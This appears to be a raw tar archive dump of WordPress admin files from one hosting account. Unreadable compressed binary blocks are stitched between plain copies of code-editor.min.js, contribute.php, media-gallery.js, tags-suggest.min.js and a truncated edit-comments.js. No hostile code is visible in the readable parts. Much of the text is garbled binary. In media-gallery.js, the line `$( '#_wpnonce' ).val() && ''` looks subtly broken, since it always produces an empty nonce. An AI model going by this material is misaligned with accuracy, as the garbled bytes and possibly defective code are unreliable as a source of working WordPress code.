�)FQ'���ˌd��N��r,*����A�S��_|w��S��Xi/�z6qp���Ԓ�h�6Ґ������|aR��6,�Ve�૽^���`%#gLY1����(ń�~�@������UR�	���B+^������-C(b|D����,���<��:N� ��f��oq��ǫ��(��u#���d��M`=�e���~g�U	׵�U,��:�i���a��
s�+�$��_�)�b��5�ot�P»w�j[�����###�X���&��+҆��%�o^�nr�32�Zl�}�"��@:+Ѯ�h�Vtk��ހt0r�m�E��S㫫#��p�#k�2WM(	�r�xɥ�T�^�X�w7Ӟ�*��C�}.f'�������=Նf�m��F���N̰�^��(v^52|;6��E�V�=��Xx_"�n���m�f���d֥���"*v��
���^)/��d}ޯD�J�w�2ʇ�@G����W.�:����k��H8���6��9Boq��|���} �t����4⩨Q�%�����l�eH��׮�b��L����\f�e�%d|Ff�z���6���R�`x6���/�,��_�������`�code-editor.min.js000064400000006013150276633110010066 0ustar00/*! This file is auto-generated */
void 0===window.wp&&(window.wp={}),void 0===window.wp.codeEditor&&(window.wp.codeEditor={}),function(u,d){"use strict";function s(r,s){var a=[],d=[];function c(){s.onUpdateErrorNotice&&!_.isEqual(a,d)&&(s.onUpdateErrorNotice(a,r),d=a)}function i(){var i,t=r.getOption("lint");return!!t&&(!0===t?t={}:_.isObject(t)&&(t=u.extend({},t)),t.options||(t.options={}),"javascript"===s.codemirror.mode&&s.jshint&&u.extend(t.options,s.jshint),"css"===s.codemirror.mode&&s.csslint&&u.extend(t.options,s.csslint),"htmlmixed"===s.codemirror.mode&&s.htmlhint&&(t.options.rules=u.extend({},s.htmlhint),s.jshint&&(t.options.rules.jshint=s.jshint),s.csslint)&&(t.options.rules.csslint=s.csslint),t.onUpdateLinting=(i=t.onUpdateLinting,function(t,e,n){var o=_.filter(t,function(t){return"error"===t.severity});i&&i.apply(t,e,n),!_.isEqual(o,a)&&(a=o,s.onChangeLintingErrors&&s.onChangeLintingErrors(o,t,e,n),!r.state.focused||0===a.length||0<d.length)&&c()}),t)}r.setOption("lint",i()),r.on("optionChange",function(t,e){var n,o="CodeMirror-lint-markers";"lint"===e&&(e=r.getOption("gutters")||[],!0===(n=r.getOption("lint"))?(_.contains(e,o)||r.setOption("gutters",[o].concat(e)),r.setOption("lint",i())):n||r.setOption("gutters",_.without(e,o)),r.getOption("lint")?r.performLint():(a=[],c()))}),r.on("blur",c),r.on("startCompletion",function(){r.off("blur",c)}),r.on("endCompletion",function(){r.on("blur",c),_.delay(function(){r.state.focused||c()},500)}),u(document.body).on("mousedown",function(t){!r.state.focused||u.contains(r.display.wrapper,t.target)||u(t.target).hasClass("CodeMirror-hint")||c()})}d.codeEditor.defaultSettings={codemirror:{},csslint:{},htmlhint:{},jshint:{},onTabNext:function(){},onTabPrevious:function(){},onChangeLintingErrors:function(){},onUpdateErrorNotice:function(){}},d.codeEditor.initialize=function(t,e){var a,n,o,i,t=u("string"==typeof t?"#"+t:t),r=u.extend({},d.codeEditor.defaultSettings,e);return r.codemirror=u.extend({},r.codemirror),s(a=d.CodeMirror.fromTextArea(t[0],r.codemirror),r),t={settings:r,codemirror:a},a.showHint&&a.on("keyup",function(t,e){var n,o,i,r,s=/^[a-zA-Z]$/.test(e.key);a.state.completionActive&&s||"string"!==(r=a.getTokenAt(a.getCursor())).type&&"comment"!==r.type&&(i=d.CodeMirror.innerMode(a.getMode(),r.state).mode.name,o=a.doc.getLine(a.doc.getCursor().line).substr(0,a.doc.getCursor().ch),"html"===i||"xml"===i?n="<"===e.key||"/"===e.key&&"tag"===r.type||s&&"tag"===r.type||s&&"attribute"===r.type||"="===r.string&&r.state.htmlState&&r.state.htmlState.tagName:"css"===i?n=s||":"===e.key||" "===e.key&&/:\s+$/.test(o):"javascript"===i?n=s||"."===e.key:"clike"===i&&"php"===a.options.mode&&(n="keyword"===r.type||"variable"===r.type),n)&&a.showHint({completeSingle:!1})}),o=e,i=u((n=a).getTextArea()),n.on("blur",function(){i.data("next-tab-blurs",!1)}),n.on("keydown",function(t,e){27===e.keyCode?i.data("next-tab-blurs",!0):9===e.keyCode&&i.data("next-tab-blurs")&&(e.shiftKey?o.onTabPrevious(n,e):o.onTabNext(n,e),i.data("next-tab-blurs",!1),e.preventDefault())}),t}}(window.jQuery,window.wp);options-discussion.php.php.tar.gz000064400000010427150276633110013133 0ustar00��ks��_�_��JH�)�iܱ�'��q��I;m��EDw�+�����ww܋w�䴵;c&����]�{k��Eέ�����rcJ-�y���u�ϓL�UX�r��H���y�.~s��|�����>�����~����󣃇G_�����u�ְ�b���s��q������=��a��/���j��
��t�q�_��~T:y
�c�)�a�Ik5�.p�z~g{������_��"Ry,X={�&�؜M����x4�+6e����Z�6*��Q��)�d<"/����2ڹ.�D�)@�9�J��Q%�Z�\Y��T]��Y��!���̮�aFZ1'�ǣw��b��b`��aX�o_}�@�R�,���v�w�9u�6X}�Y=Ah�'2VV��Iл���@4O���8��Q�%�L�ea�dVA�j͍p�On�х�Q��"���ጵH����t�õ�7���D&O����J�����ʉ"�l�&�*��̈́֞g8L���xJ��B�+����iq�k���+b�;� 2�'�+RKV03�dž��K��	g�Y��5��9;��㇃[;g��]�4
��VҲ���3�hO��NT\�Nh���
p�����	�Y��\�@1�>YC�O;-�
$3#��TƗ��9��5ρ�,���-�ʐ�˳����Z�U�/���m8��Ѱ\'�h�5�b{:����`�L�B5����ϮHn|��Z���xmma-�`,
4s�/-�/��2N�"���O����Y���;Y��I�-S��vԖ��M���t��[������O޾��ӥ��ׂ'B{�|6�$�
����l�lt�><#S�D�VL�8Z�,�2o{���c�7̂�x",v���1*Ę9[r:����!T�x6I��^�L�8������ɘ��
�8�![��ADU�Z]�=�@�(V�L-�k��$�a׸89;q	{v�
��I����&��[��|��h�y��ŗ�LnRn�6���$�+<��H�R���0\9GW������w8Y8\�Aʗ"E	8'niT��%8�h��d�̋Ҳ�gbh�7Ȣx-�˥�y�d28���%�=3�LZ$��|�;a<�>Χ��"?Q��Z�-F��ah���k��Ϲ˕ۃ�T�q�-5`Jq�-�6��)�2����"�or�nc��2��x�s𢡄
ؠ=�����!���s�Zf�J�`�wp��3k+ۺsߛsm@ۙWU`����8��q߅/E�v�(�!����e�R&%O p�@P��y���7Z<�*:{�<�E*��WH�+�
��-,j��ٷ�F��O��c�Ѻ��������Pr�ٕ>'�=H.���øm.oJ"k�7�N^�?�.�Z��{}"�
 nS� �Z\TIMW={��*g��{����JBl���dޭUH\�..|���h��Dͧa��13��En��L�(c!1������	��鹼�˂�9��BԁE2g?�bf"["����^���ĥg$��#k�Y��v��#�&����m���[W��,��<�����	����D�!�~c��#ӟ��>��Đ��0ڲe���}f���
�p)�$�m�/NG�+����j�gjN�ħ�1a*�o=<��z��LaH̭�ӭ\
K]�b�qel3`�3��d
�o,�V�5�X�K)n�
��un�`m_q��h�X�ÚZ0����D<g����nܶ�a�%��ʖl�]���P�;�˵�I�`Tgm��:�w2�h�\��g��KD�+r��" �I�Ū�f$�G��Φy�ײ]�9Xo�A�����̩� !
vʦr���8!қt��"X9<���n�,X�������T���'��ZX�0�6 ˕���1�{r����w�s�e�)�����4�x2��|���6�p�Q<NOO�`
�1B$���6|��]y��gc�t�s��B��g��.!W"uN�;琿�)ů$l�x����b��G��PB�Q���`�nP�ۃ��ޙr=o�����N�c"\1(������?�/E�ַ�v�	����t�~OH�%j\U�
E��q��۽����g�EmU�B�!Ê&	��C�J��5s>b�aэ2�P�vu�J�*���T��1cG������3�j�uOA/k����)]���wͶ�]�6��&�_m3��a�y[����B�I���
�B�H�����u��͆�j 
�����9�T������hك��V6�!u������ѣ6-���1ٮ&�sk�����RM�&���㉖q�����\G^]�MP,�K�l�i")�i\`�k�M0t��%\k��
��~E�o���5�^�́��^�n/EU��
�U�jx[��t��KX;X	�oT.|b�;��Ͳd
�L%�7'��3�dn�$�J%YA�WtI�o��~�T����9gQ�?|]ubw�f�P]�1ckU�9�=j����=�PZ
5Ō�%Օ�p��Dr)�Z\IU�T��[J��V��;�=8��>U�5^�sVC��Ա
�VC�毺���t���(�z��Q'FdݱJ���p�
-�M=�*E)�-tM�[.sJxC���2ufNa�k!���ʸі€�� g)�K�9�Y;H{!��U��{D��Uw���E�-���X����Rܘ�X��F)��T1���V���.0��c0�7͂!�f�/o����{���$�.���T���o�pt���0��`O�X���/]���"'叿j����U��?n�x�z�<��:�.��pd B5~�l�!m{�Qȸ�xX�וD������c�=����~�j��S���..� �ތ��d
�)V)|���F��&z� �&���wS�~�@�U���_������Ϥ	�}�����J��K���*���k�[���׆.w�ac�ӆ��k풨hk�֬���0Զ��{}h���`=��S����o&6��,ru ]֍,�C�--�U�b���%��O������Jl�K���2wW�H��٥�޵�kJ��P�/]
�4d�
�^r�h�.ު�#��,�n�/!�I�:gJ%6�i3�Nʍ~P�����ʜ��@`1���OT!C� ��q*/��F�t7�	
ě�w�>����N�K���ku���5l
��/W�?���I�O7�9AŽL<�
c��{���;;�u=�6/Y�g�~�3vX'7;;�;ж"�ul�rM�a�~�ʆ1�99�ʾW���
Gpܗm�����E��!������8�L)A�ܦn�#:qE>�����ЌS3.�Z�RK���-���xc���*z�A`s���"027>gD���cN^��蘝 ������D�8�����'��k�_+<�}�J�#��^��E�v��j�d?.��4�ME�KD/%����kb�!?|�q��!���
t�J�_�벩�a�����*�7l��矁]�vݗ���7���Uw�d�=���CoU����q}Z��'>vj��Tgo�{�_��-�U�.*:��*C���g�o���K&7�S8��5�uO*�r�	,�+�ԯ^�:d��V�����J�	9Di��Ҹ�A—뼎Ą���*c�֒��}Pa��PȇU�%7���#�Ud�k��m��gr�L2T1}��Rb�ב^�����W�)�/���O�ͺ��k�Zy��~6M��1�с�2����P��60��o��&��+L��N����g=���Z��G�V��ZC�6�\#/`dc�ZO7��_��Cϓ���<3�ZM�2,�f��K�Į�7�ѐ�5/g(\TS��{VWl��8��m�u���e��'ې���c��)7)[�
j�٪3R��E���{�yO��*=��~8�����\�&�_%Ly3�r�0�l̜�9txc��/VF�v�"�R�ե��1�3��[]
������o:J��o�h�V���jB�wb��b-�`3�}Ze ��~in�n�ٵQ$��KE�;p{����#�@�R̃�Y$0��L!���h[Ľ����k�n3}^74��l�,3e�#-2Q~�|�z������g���.�;�,��ň����y`��zK��G'w��4�Nuf���0�~�{��^���;���x�7�W��;���^7v�&"��:��ϧϧϧϧ�?�����Fcontribute.php.tar000064400000016000150276633110010221 0ustar00home/natitnen/crestassured.com/wp-admin/contribute.php000064400000012770150275652670017231 0ustar00<?php
/**
 * Contribute administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

// Used in the HTML title tag.
$title = __( 'Get Involved' );

list( $display_version ) = explode( '-', get_bloginfo( 'version' ) );

require_once ABSPATH . 'wp-admin/admin-header.php';
?>
<div class="wrap about__container">

	<div class="about__header">
		<div class="about__header-title">
			<h1>
				<?php _e( 'Get Involved' ); ?>
			</h1>
		</div>

		<div class="about__header-text"></div>
	</div>

	<nav class="about__header-navigation nav-tab-wrapper wp-clearfix" aria-label="<?php esc_attr_e( 'Secondary menu' ); ?>">
		<a href="about.php" class="nav-tab"><?php _e( 'What&#8217;s New' ); ?></a>
		<a href="credits.php" class="nav-tab"><?php _e( 'Credits' ); ?></a>
		<a href="freedoms.php" class="nav-tab"><?php _e( 'Freedoms' ); ?></a>
		<a href="privacy.php" class="nav-tab"><?php _e( 'Privacy' ); ?></a>
		<a href="contribute.php" class="nav-tab nav-tab-active" aria-current="page"><?php _e( 'Get Involved' ); ?></a>
	</nav>

	<div class="about__section has-2-columns is-wider-right">
		<div class="column">
			<img src="<?php echo esc_url( admin_url( 'images/contribute-main.svg?ver=6.4' ) ); ?>" alt="" width="290" height="290" />
		</div>
		<div class="column is-vertically-aligned-center">
			<p><?php _e( 'Do you use WordPress for work, for personal projects, or even just for fun? You can help shape the long-term success of the open source project that powers millions of websites around the world.' ); ?></p>
			<p><?php _e( 'Join the diverse WordPress contributor community and connect with other people who are passionate about maintaining a free and open web.' ); ?></p>

			<ul>
				<li><?php _e( 'Be part of a global open source community.' ); ?></li>
				<li><?php _e( 'Apply your skills or learn new ones.' ); ?></li>
				<li><?php _e( 'Grow your network and make friends.' ); ?></li>
			</ul>
		</div>
	</div>

	<div class="about__section has-2-columns is-wider-left">
		<div class="column is-vertically-aligned-center">
			<h3><?php _e( 'No-code contribution' ); ?></h3>
			<p><?php _e( 'WordPress may thrive on technical contributions, but you don&#8217;t have to code to contribute. Here are some of the ways you can make an impact without writing a single line of code:' ); ?></p>
			<ul>
				<li><?php _e( '<strong>Share</strong> your knowledge in the WordPress support forums.' ); ?></li>
				<li><?php _e( '<strong>Write</strong> or improve documentation for WordPress.' ); ?></li>
				<li><?php _e( '<strong>Translate</strong> WordPress into your local language.' ); ?></li>
				<li><?php _e( '<strong>Create</strong> and improve WordPress educational materials.' ); ?></li>
				<li><?php _e( '<strong>Promote</strong> the WordPress project to your community.' ); ?></li>
				<li><?php _e( '<strong>Curate</strong> submissions or take photos for the Photo Directory.' ); ?></li>
				<li><?php _e( '<strong>Organize</strong> or participate in local Meetups and WordCamps.' ); ?></li>
				<li><?php _e( '<strong>Lend</strong> your creative imagination to the WordPress UI design.' ); ?></li>
				<li><?php _e( '<strong>Edit</strong> videos and add captions to WordPress.tv.' ); ?></li>
				<li><?php _e( '<strong>Explore</strong> ways to reduce the environmental impact of websites.' ); ?></li>
			</ul>
		</div>
		<div class="column">
			<img src="<?php echo esc_url( admin_url( 'images/contribute-no-code.svg?ver=6.4' ) ); ?>" alt="" width="290" height="290" />
		</div>
	</div>
	<div class="about__section has-2-columns is-wider-right">
		<div class="column">
			<img src="<?php echo esc_url( admin_url( 'images/contribute-code.svg?ver=6.4' ) ); ?>" alt="" width="290" height="290" />
		</div>
		<div class="column is-vertically-aligned-center">
			<h3><?php _e( 'Code-based contribution' ); ?></h3>
			<p><?php _e( 'If you do code, or want to learn how, you can contribute technically in numerous ways:' ); ?></p>
			<ul>
				<li><?php _e( '<strong>Find</strong> and report bugs in the WordPress core software.' ); ?></li>
				<li><?php _e( '<strong>Test</strong> new releases and proposed features for the Block Editor.' ); ?></li>
				<li><?php _e( '<strong>Write</strong> and submit patches to fix bugs or help build new features.' ); ?></li>
				<li><?php _e( '<strong>Contribute</strong> to the code, improve the UX, and test the WordPress app.' ); ?></li>
			</ul>
			<p><?php _e( 'WordPress embraces new technologies, while being committed to backward compatibility. The WordPress project uses the following languages and libraries:' ); ?></p>
			<ul>
				<li><?php _e( 'WordPress Core and Block Editor: HTML, CSS, PHP, SQL, JavaScript, and React.' ); ?></li>
				<li><?php _e( 'WordPress app: Kotlin, Java, Swift, Objective-C, Vue, Python, and TypeScript.' ); ?></li>
			</ul>
		</div>
	</div>

	<div class="about__section is-feature has-accent-4-background-color">
		<div class="column">
			<h2><?php _e( 'Shape the future of the web with WordPress' ); ?></h2>
			<p><?php _e( 'Finding the area that aligns with your skills and interests is the first step toward meaningful contribution. With more than 20 Make WordPress teams working on different parts of the open source WordPress project, there&#8217;s a place for everyone, no matter what your skill set is.' ); ?></p>
			<p><a href="<?php echo esc_url( __( 'https://make.wordpress.org/contribute/' ) ); ?>"><?php _e( 'Find your team &rarr;' ); ?></a></p>
		</div>
	</div>

</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
media-gallery.js000064400000002427150276633110007627 0ustar00/**
 * This file is used on media-upload.php which has been replaced by media-new.php and upload.php
 *
 * @deprecated 3.5.0
 * @output wp-admin/js/media-gallery.js
 */

 /* global ajaxurl */
jQuery(function($) {
	/**
	 * Adds a click event handler to the element with a 'wp-gallery' class.
	 */
	$( 'body' ).on( 'click.wp-gallery', function(e) {
		var target = $( e.target ), id, img_size, nonceValue;

		if ( target.hasClass( 'wp-set-header' ) ) {
			// Opens the image to preview it full size.
			( window.dialogArguments || opener || parent || top ).location.href = target.data( 'location' );
			e.preventDefault();
		} else if ( target.hasClass( 'wp-set-background' ) ) {
			// Sets the image as background of the theme.
			id = target.data( 'attachment-id' );
			img_size = $( 'input[name="attachments[' + id + '][image-size]"]:checked').val();
			nonceValue = $( '#_wpnonce' ).val() && '';

			/**
			 * This Ajax action has been deprecated since 3.5.0, see custom-background.php
			 */
			jQuery.post(ajaxurl, {
				action: 'set-background-image',
				attachment_id: id,
				_ajax_nonce: nonceValue,
				size: img_size
			}, function() {
				var win = window.dialogArguments || opener || parent || top;
				win.tb_remove();
				win.location.reload();
			});

			e.preventDefault();
		}
	});
});
post-new.php.php.tar.gz000064400000002204150276633110011025 0ustar00��Vmo�6�W�W\�r�6i�!��ٺ�,��Z:�\dQ%){A��#)�R��0l)�^�{���Aʍ0)��H�6\�\a܏�r��z<^�t�Imz)���"{�3�stx�����WOF/�/^��Ã�
G0|���rrJX�����RA���~����

g��BEĐ)\/0퓈�z����n��/�1���|Z~h���A`]������^�Hi���W�>
�L#��/~a�-�㠌��<�S�i�tжle�.�W9�#S��U]��9���[/��^�eV(n�v�=W��A���M���w���J<�
���C�ژ�18�`�љ)�J�]6�0Gê݁B4��f�a<�r�޺���n�.c����;T�|��x"b����$�[h��F��u�����X��a<7>�X��԰�H,LSP��&>.1���r�5��1<Z��9)J��"q�F�X�r����nye��Z�����>�0�ճzT����&�gDž��2[h����׽�+6Ei�YW槍�v���~U��l
p��(\�@�r�PO��%̤"�7|9%��C��Y�YFsE��I�9y�7l!�mʗ��o@rGcne^5`����b)����aq��'	Li���PZ/P$�+�|a�����;�-�yt���
c���mA�B���X!��4���/�5���	��i�M�C�~k����aRcA��._"h§d�7�q̈�R��J�Z��b�zb3��\�r��E<��m�Iij��ZpLS�>~|�.-Sn��ޫ�RB!<Y�&!�:7V�9��15��$�B�e3�P-���9ݨ��x2��J�1r%�����"�!�ԓI"�d����׾-m�d�KF�Aˍ�Z�~��8�yR�t�,<��J�;�X�e�z��s����:��S�Q�A,�܎d�R��x�:���ue�Y��1�G�.T�%<B�Taf<��R���,6^9�)[6Mdt[(1j,�K���X�J�������*0��#�eϙ��"�1����sd:R"3v��Fj��Т�x���0�+�c�E��~0�1,*����r�6�|�Ėv�]��yEM���=��D�n��_��'ܮ|ܿ�����������x��ߜ�;�A�tags-suggest.min.js000064400000004305150276633110010307 0ustar00/*! This file is auto-generated */
!function(u){var s,a;function l(e){return e.split(new RegExp(a+"\\s*"))}void 0!==window.uiAutocompleteL10n&&(s=0,a=wp.i18n._x(",","tag delimiter")||",",u.fn.wpTagsSuggest=function(e){var i,o,n,r=u(this);return r.length&&(n=(e=e||{}).taxonomy||r.attr("data-wp-taxonomy")||"post_tag",delete e.taxonomy,e=u.extend({source:function(e,a){var t;o===e.term?a(i):(t=l(e.term).pop(),u.get(window.ajaxurl,{action:"ajax-tag-search",tax:n,q:t,number:20}).always(function(){r.removeClass("ui-autocomplete-loading")}).done(function(e){var t,o=[];if(e){for(t in e=e.split("\n")){var n=++s;o.push({id:n,name:e[t]})}a(i=o)}else a(o)}),o=e.term)},focus:function(e,t){r.attr("aria-activedescendant","wp-tags-autocomplete-"+t.item.id),e.preventDefault()},select:function(e,t){var o=l(r.val());return o.pop(),o.push(t.item.name,""),r.val(o.join(a+" ")),u.ui.keyCode.TAB===e.keyCode?(window.wp.a11y.speak(wp.i18n.__("Term selected."),"assertive"),e.preventDefault()):u.ui.keyCode.ENTER===e.keyCode&&(window.tagBox&&(window.tagBox.userAction="add",window.tagBox.flushTags(u(this).closest(".tagsdiv"))),e.preventDefault(),e.stopPropagation()),!1},open:function(){r.attr("aria-expanded","true")},close:function(){r.attr("aria-expanded","false")},minLength:2,position:{my:"left top+2",at:"left bottom",collision:"none"},messages:{noResults:window.uiAutocompleteL10n.noResults,results:function(e){return 1<e?window.uiAutocompleteL10n.manyResults.replace("%d",e):window.uiAutocompleteL10n.oneResult}}},e),r.on("keydown",function(){r.removeAttr("aria-activedescendant")}),r.autocomplete(e),r.autocomplete("instance"))&&(r.autocomplete("instance")._renderItem=function(e,t){return u('<li role="option" id="wp-tags-autocomplete-'+t.id+'">').text(t.name).appendTo(e)},r.attr({role:"combobox","aria-autocomplete":"list","aria-expanded":"false","aria-owns":r.autocomplete("widget").attr("id")}).on("focus",function(){l(r.val()).pop()&&r.autocomplete("search")}),r.autocomplete("widget").addClass("wp-tags-autocomplete").attr("role","listbox").removeAttr("tabindex").on("menufocus",function(e,t){t.item.attr("aria-selected","true")}).on("menublur",function(){u(this).find('[aria-selected="true"]').removeAttr("aria-selected")})),this})}(jQuery);admin-post.php.php.tar.gz000064400000001476150276633110011336 0ustar00��VmO�0�k�+n�AӲ�J{���:�ći
^|m<;�B�����mEc	6�kY���sϝ�ɬ�ei4��k�H��e��x*dP<72el#���{I�d�ݾ���e��]ju���N���i�}���lC�~a�Nr*XS�Lj�ʛmj������J�>Q��J�"�c��%��x2��p�$OP���HZ�9�v�L�-�%!v�
9!�Ƙ���,�GB�F�b'c�9�4|qK~Ɗ�#�0VO�$m໔��i�DE�R
eZ��
��Qg*�P��q($�:�N�ao�ч����Jլf��V_�7~�`j��=��kM�	����^*�5��D1��F~��s�%K)v��!�$��۲�^����H+c6�Ja�˞��J�@i���p:�J�B#�M�J��y������)�A��/	�(�9W.�A,��Q�?����eթ���\�̸
KµP��D[s��+����<L3{U���x�����Z��}%��o�5�l��cd)���#ӄ���cn��%LS�*j���,��Q�(�n6gQ��u���9�^��
�8�y���=�#ƿ#�
���Tr���9iE��p�w�_����/��&ϲD��.<�nw�p��ll5��M@�E���P�L��noJP�0;�G�8���:�m�]ڻ�O6Ւ)iХR�33���5����Y�`sܞG�?67/n&F�eU�,^��+BZ��E�jX��J���u8��=s��;`��m�iq1�]=�ם�rOv��؜z0�����I���dz<˳<��5�Glink-parse-opml.php.php.tar.gz000064400000002135150276633110012266 0ustar00��VmO�H��W�U�P�C)\D)�H)D��!U���7�Ug��]P����NHQ�{�c�<3;��3/�39�`&1�?T\�u�x�r��d;,�'�O�e'cJ���S/�e�~tup����Q�k������t������Q��t���������
C������#̤�oo;�
#�/\�>���I�50�6RqHĩ��T{hM�f,��bJ��x���|R)��zm����'�B~��O�����F��S���ӈ��:t�
��".�P���I%h}�r+8\�_aJ
"�o�I�+�',M'��	L���yhn��9&��S�Z[˓�D�:���da���L%fxeT�aJ�;h
6�z�<W�&1���٤��U��M�)�^eD�9`*d�p���<���J��v����nw��	��Eh2g�(
e�ʜ��$7ܖ��,ɦn3�ªU�k���+�X���^*�e�y��*>�b�~���&�2�9�����FU067�"�%��u��%�XY
[�������|�B�߯1e��a�B\���DcU��3}rǃ��*�Վu=�����p� �A|���ᚻ�~M������.�����^�3�1Àݰ;�"P���y:,�QӐ
%VS�R�Qv|�����豰WrSd������A��n����mpury6�]�?�)�Sp#�27x
c�#j�c��C?��6+�����Ԅ@������ɂnNG�:��8^u�U�~����IALFAhw.o7� �Q̕��AЂףӑ��	zk��t�D��8J,I�$��R���0,4p���LjCX3%I��#h.�68�^
���,�[�y�#��?�#�Ȣ�H��Ǝ��_M���qA���Rی�o��U9Ԣ����E.~���%�Un�{췏�6��*��&�L[4�Q��N>�tv{0�|8��6t{0�n��'XIT�����Ja܃7�M�o���Ԉ��v���OP�Tˢ���V�h.!�6�Y�+EԐ㠀��i�O0�+�!��\�;�5�`rgS�Z��みC'�$\�>��e����������"eedit-comments.js000064400000111232150276633110007656 0ustar00/**
 * Handles updating and editing comments.
 *
 * @file This file contains functionality for the admin comments page.
 * @since 2.1.0
 * @output wp-admin/js/edit-comments.js
 */

/* global adminCommentsSettings, thousandsSeparator, list_args, QTags, ajaxurl, wpAjax */
/* global commentReply, theExtraList, theList, setCommentsList */

(function($) {
var getCount, updateCount, updateCountText, updatePending, updateApproved,
	updateHtmlTitle, updateDashboardText, updateInModerationText, adminTitle = document.title,
	isDashboard = $('#dashboard_right_now').length,
	titleDiv, titleRegEx,
	__ = wp.i18n.__;

	/**
	 * Extracts a number from the content of a jQuery element.
	 *
	 * @since 2.9.0
	 * @access private
	 *
	 * @param {jQuery} el jQuery element.
	 *
	 * @return {number} The number found in the given element.
	 */
	getCount = function(el) {
		var n = parseInt( el.html().replace(/[^0-9]+/g, ''), 10 );
		if ( isNaN(n) ) {
			return 0;
		}
		return n;
	};

	/**
	 * Updates an html element with a localized number string.
	 *
	 * @since 2.9.0
	 * @access private
	 *
	 * @param {jQuery} el The jQuery element to update.
	 * @param {number} n Number to be put in the element.
	 *
	 * @return {void}
	 */
	updateCount = function(el, n) {
		var n1 = '';
		if ( isNaN(n) ) {
			return;
		}
		n = n < 1 ? '0' : n.toString();
		if ( n.length > 3 ) {
			while ( n.length > 3 ) {
				n1 = thousandsSeparator + n.substr(n.length - 3) + n1;
				n = n.substr(0, n.length - 3);
			}
			n = n + n1;
		}
		el.html(n);
	};

	/**
	 * Updates the number of approved comments on a specific post and the filter bar.
	 *
	 * @since 4.4.0
	 * @access private
	 *
	 * @param {number} diff The amount to lower or raise the approved count with.
	 * @param {number} commentPostId The ID of the post to be updated.
	 *
	 * @return {void}
	 */
	updateApproved = function( diff, commentPostId ) {
		var postSelector = '.post-com-count-' + commentPostId,
			noClass = 'comment-count-no-comments',
			approvedClass = 'comment-count-approved',
			approved,
			noComments;

		updateCountText( 'span.approved-count', diff );

		if ( ! commentPostId ) {
			return;
		}

		// Cache selectors to not get duplicates.
		approved = $( 'span.' + approvedClass, postSelector );
		noComments = $( 'span.' + noClass, postSelector );

		approved.each(function() {
			var a = $(this), n = getCount(a) + diff;
			if ( n < 1 )
				n = 0;

			if ( 0 === n ) {
				a.removeClass( approvedClass ).addClass( noClass );
			} else {
				a.addClass( approvedClass ).removeClass( noClass );
			}
			updateCount( a, n );
		});

		noComments.each(function() {
			var a = $(this);
			if ( diff > 0 ) {
				a.removeClass( noClass ).addClass( approvedClass );
			} else {
				a.addClass( noClass ).removeClass( approvedClass );
			}
			updateCount( a, diff );
		});
	};

	/**
	 * Updates a number count in all matched HTML elements
	 *
	 * @since 4.4.0
	 * @access private
	 *
	 * @param {string} selector The jQuery selector for elements to update a count
	 *                          for.
	 * @param {number} diff The amount to lower or raise the count with.
	 *
	 * @return {void}
	 */
	updateCountText = function( selector, diff ) {
		$( selector ).each(function() {
			var a = $(this), n = getCount(a) + diff;
			if ( n < 1 ) {
				n = 0;
			}
			updateCount( a, n );
		});
	};

	/**
	 * Updates a text about comment count on the dashboard.
	 *
	 * @since 4.4.0
	 * @access private
	 *
	 * @param {Object} response Ajax response from the server that includes a
	 *                          translated "comment count" message.
	 *
	 * @return {void}
	 */
	updateDashboardText = function( response ) {
		if ( ! isDashboard || ! response || ! response.i18n_comments_text ) {
			return;
		}

		$( '.comment-count a', '#dashboard_right_now' ).text( response.i18n_comments_text );
	};

	/**
	 * Updates the "comments in moderation" text across the UI.
	 *
	 * @since 5.2.0
	 *
	 * @param {Object} response Ajax response from the server that includes a
	 *                          translated "comments in moderation" message.
	 *
	 * @return {void}
	 */
	updateInModerationText = function( response ) {
		if ( ! response || ! response.i18n_moderation_text ) {
			return;
		}

		// Update the "comment in moderation" text across the UI.
		$( '.comments-in-moderation-text' ).text( response.i18n_moderation_text );
		// Hide the "comment in moderation" text in the Dashboard "At a Glance" widget.
		if ( isDashboard && response.in_moderation ) {
			$( '.comment-mod-count', '#dashboard_right_now' )
				[ response.in_moderation > 0 ? 'removeClass' : 'addClass' ]( 'hidden' );
		}
	};

	/**
	 * Updates the title of the document with the number comments to be approved.
	 *
	 * @since 4.4.0
	 * @access private
	 *
	 * @param {number} diff The amount to lower or raise the number of to be
	 *                      approved comments with.
	 *
	 * @return {void}
	 */
	updateHtmlTitle = function( diff ) {
		var newTitle, regExMatch, titleCount, commentFrag;

		/* translators: %s: Comments count. */
		titleRegEx = titleRegEx || new RegExp( __( 'Comments (%s)' ).replace( '%s', '\\([0-9' + thousandsSeparator + ']+\\)' ) + '?' );
		// Count funcs operate on a $'d element.
		titleDiv = titleDiv || $( '<div />' );
		newTitle = adminTitle;

		commentFrag = titleRegEx.exec( document.title );
		if ( commentFrag ) {
			commentFrag = commentFrag[0];
			titleDiv.html( commentFrag );
			titleCount = getCount( titleDiv ) + diff;
		} else {
			titleDiv.html( 0 );
			titleCount = diff;
		}

		if ( titleCount >= 1 ) {
			updateCount( titleDiv, titleCount );
			regExMatch = titleRegEx.exec( document.title );
			if ( regExMatch ) {
				/* translators: %s: Comments count. */
				newTitle = document.title.replace( regExMatch[0], __( 'Comments (%s)' ).replace( '%s', titleDiv.text() ) + ' ' );
			}
		} else {
			regExMatch = titleRegEx.exec( newTitle );
			if ( regExMatch ) {
				newTitle = newTitle.replace( regExMatch[0], __( 'Comments' ) );
			}
		}
		document.title = newTitle;
	};

	/**
	 * Updates the number of pending comments on a specific post and the filter bar.
	 *
	 * @since 3.2.0
	 * @access private
	 *
	 * @param {number} diff The amount to lower or raise the pending count with.
	 * @param {number} commentPostId The ID of the post to be updated.
	 *
	 * @return {void}
	 */
	updatePending = function( diff, commentPostId ) {
		var postSelector = '.post-com-count-' + commentPostId,
			noClass = 'comment-count-no-pending',
			noParentClass = 'post-com-count-no-pending',
			pendingClass = 'comment-count-pending',
			pending,
			noPending;

		if ( ! isDashboard ) {
			updateHtmlTitle( diff );
		}

		$( 'span.pending-count' ).each(function() {
			var a = $(this), n = getCount(a) + diff;
			if ( n < 1 )
				n = 0;
			a.closest('.awaiting-mod')[ 0 === n ? 'addClass' : 'removeClass' ]('count-0');
			updateCount( a, n );
		});

		if ( ! commentPostId ) {
			return;
		}

		// Cache selectors to not get dupes.
		pending = $( 'span.' + pendingClass, postSelector );
		noPending = $( 'span.' + noClass, postSelector );

		pending.each(function() {
			var a = $(this), n = getCount(a) + diff;
			if ( n < 1 )
				n = 0;

			if ( 0 === n ) {
